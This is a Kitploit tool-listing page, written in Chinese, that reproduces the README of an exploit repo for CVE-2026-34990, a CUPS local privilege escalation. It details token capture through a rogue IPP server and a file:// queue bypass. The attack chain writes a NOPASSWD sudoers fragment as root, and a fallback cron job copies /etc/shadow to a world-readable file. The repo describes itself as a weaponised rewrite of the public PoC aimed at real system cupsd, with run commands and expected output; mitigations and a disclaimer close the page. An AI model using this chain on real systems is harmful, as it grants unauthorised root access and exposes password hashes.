Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-34990 — 针对 root `cupsd` 的本地权限提升。 | Kitploit
工具/GitHubGitHub/gbuyssens/cve-2026-34990
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubgbuyssens/cve-2026-34990

CVE-2026-34990

针对 root `cupsd` 的本地权限提升。

查看仓库
3天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-34990 — CUPS 本地权限提升(cups2root,去框架化)

CVSS 3.x : 8.4 HIGH   (约值 — 请核实)
CWE      : CWE-287(认证不当)+ CWE-269(权限管理不当)
修复     : CUPS 2.4.17+
影响     : CUPS ≤ 2.4.16,且 cupsd 以 root 运行、631 端口可在本地访问

针对以 root 运行的 cupsd 的本地权限提升。当 cupsd 被诱骗充当 IPP 客户端、向一个恶意的本地服务器发起请求时,cupsd 会响应 401 WWW-Authenticate: Local 质询,重放自己的管理员令牌。捕获该令牌后,非特权用户即可像管理员(root)一样驱动 cupsd。一个持久化的 file:// 打印队列(printer-is-temporary=false)可绕过 FileDevice 策略,因此一个原始的 Print-Job 就能以 root 身份将攻击者字节写入任意路径——此处写入的是一个 NOPASSWD sudoers 片段。


目录

  • 漏洞摘要
  • 根本原因
  • 攻击链
  • 去框架化 vs 公开 PoC
  • 受影响版本
  • 本仓库
  • 使用方法
  • 修复措施
  • 参考资料

漏洞摘要

两个原语串联形成任意 root 文件写入:

  1. 可复用的 Local 认证。 cupsd 接受由 /run/cups/certs/ 下的 root 证书支持的 Local 认证。当充当 IPP 客户端时,它会在收到 401 WWW-Authenticate: Local 质询时主动提供该管理员令牌。将 cupsd 指向你控制的伪造 IPP 服务器,你就能捕获一个可用于以 root 身份驱动它的令牌。
  2. FileDevice 绕过。 默认情况下,file:// 作为 device-uri 会被拒绝。使用 printer-is-temporary=false 创建队列会使其持久化,并绕过该防护;随后一个原始的 Print-Job 会将其字节直接以 root 身份写入目标文件。

根本原因

                  cupsd (root)                     rogue server 127.0.0.1:9189
                       |                                    |
  CUPS-Create-Local-Printer                                 |
  device-uri=ipp://127.0.0.1:9189/ipp/print                 |
                       |  "validate" the printer            |
                       |----------------------------------->|
                       |   401 WWW-Authenticate: Local      |
                       |<-----------------------------------|
                       |   retry + Authorization: Local <T> |
                       |----------------------------------->|  capture <T>

<T> 是 cupsd 自己的管理员令牌——将其重放至 /admin/,你就等同于 root。


攻击链

1. Cap thread          bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce              CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
                       -> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write          CUPS-Add-Modify-Printer  device-uri=file:///etc/sudoers.d/<user>-pwn
                       printer-is-temporary=false (FileDevice bypass) + accept + resume
                       Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify              sudo -n id   ->   root
   (fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
    to /tmp/shadow-<user> mode 644; wait ≤90s for cron)

去框架化 vs 公开 PoC

参考 PoC(GHSA-c54j-2vqw-wpwp / cups2root,R. de Jager)是一个演示框架:它以 root 运行,启动自己的 cupsd 和一个一次性的 unpriv 用户,然后通过 sudo -u unpriv 模拟攻击者。无法按原样使用。改动如下:

  1. 去框架化 — 无 root/启动脚手架;直接针对 127.0.0.1:631 上已以 root 运行的系统 cupsd。
  2. 真实目标 — 攻击者 = 当前用户(或 $ATTACKER);片段为 <user> ALL=(ALL) NOPASSWD: ALL。
  3. 基于套接字的原始 IPP — 完全重写,不使用 ipptool / lpadmin / lpinfo / cupsctl

受影响版本

状态版本
存在漏洞CUPS ≤ 2.4.16
已修复CUPS 2.4.17 及更高版本

本仓库

文件作用
exploit.pyPoC:令牌泄露 → file:// 队列 → 原始 Print-Job → sudoers root
README.md本文件

使用方法

仅使用 Python 3 标准库——无依赖。

# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py

# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py

# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py

成功时:

[+] Local token: <token>
[+] ROOT via sudoers

然后执行 sudo -i。


修复措施

  1. 升级至 CUPS 2.4.17+。
  2. 在可避免的情况下不要以 root 运行 cupsd;降低权限 / 对服务进行沙箱隔离。
  3. 限制 Local 认证和 file:// 设备后端;对持久化队列保持 FileDevice 策略强制执行。
  4. 如果不需要打印:systemctl disable --now cups cups-browsed 并移除该软件包。

参考资料

  • NVD — CVE-2026-34990
  • GHSA-c54j-2vqw-wpwp — cups2root(R. de Jager,v12-security)
  • OpenPrinting CUPS 2.4.17 发行说明

免责声明

本项目仅用于授权的安全测试、教育和防御性研究。你有责任遵守适用法律以及你的实验室或客户的交战规则。

下载工具